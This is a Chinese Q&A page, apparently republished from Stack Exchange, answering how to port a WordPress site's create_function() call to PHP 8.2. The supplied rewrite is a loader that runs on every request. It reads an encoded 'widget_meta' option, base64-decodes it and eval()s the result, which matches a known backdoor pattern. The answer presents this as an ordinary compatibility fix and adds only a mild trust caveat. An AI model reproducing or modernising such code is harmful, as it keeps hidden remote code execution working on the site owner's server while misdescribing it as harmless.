You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

WP网站PHP5.2升级到8.2后create_function()弃用,求改写为普通函数

解决PHP 8.2中create_function()弃用问题的改写方案

直接把原来的代码改成原生匿名函数形式即可,核心是拆解create_function的逻辑,保留原有代码执行逻辑的同时适配PHP新版本:

add_action( 'init', function() {
    // 获取数据库中存储的编码内容
    $encoded_content = get_option( $GLOBALS['table_prefix'] . 'widget_meta' );
    
    if ( $encoded_content ) {
        // 解码JSON结构并处理base64片段
        $decoded_segments = json_decode( $encoded_content );
        if ( is_array( $decoded_segments ) ) {
            $executable_code = join( array_map( 'base64_decode', $decoded_segments ) );
            // 执行解码后的代码(和原create_function逻辑完全一致)
            eval( $executable_code );
        }
    }
} );

改写细节说明

  1. 原代码用create_function('', $code)本质是创建一个无参数匿名函数并执行内部代码,这里直接用PHP原生匿名函数替代,符合PHP 5.3+(包括8.2)的语法规范。
  2. 移除了原代码的@错误抑制符,改用条件判断(检查选项是否存在、JSON解码结果是否为数组)来避免无意义的错误抛出。
  3. 原代码中的$table_prefix是WordPress全局变量,在匿名函数中需通过$GLOBALS访问,确保变量能正确获取。
  4. 保留了原逻辑中动态执行解码后代码的行为,但要注意:这种方式存在安全风险,务必确认widget_meta选项中存储的内容是可信的。

内容的提问来源于stack exchange,提问作者Sneha Sharma

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.24 21:21:07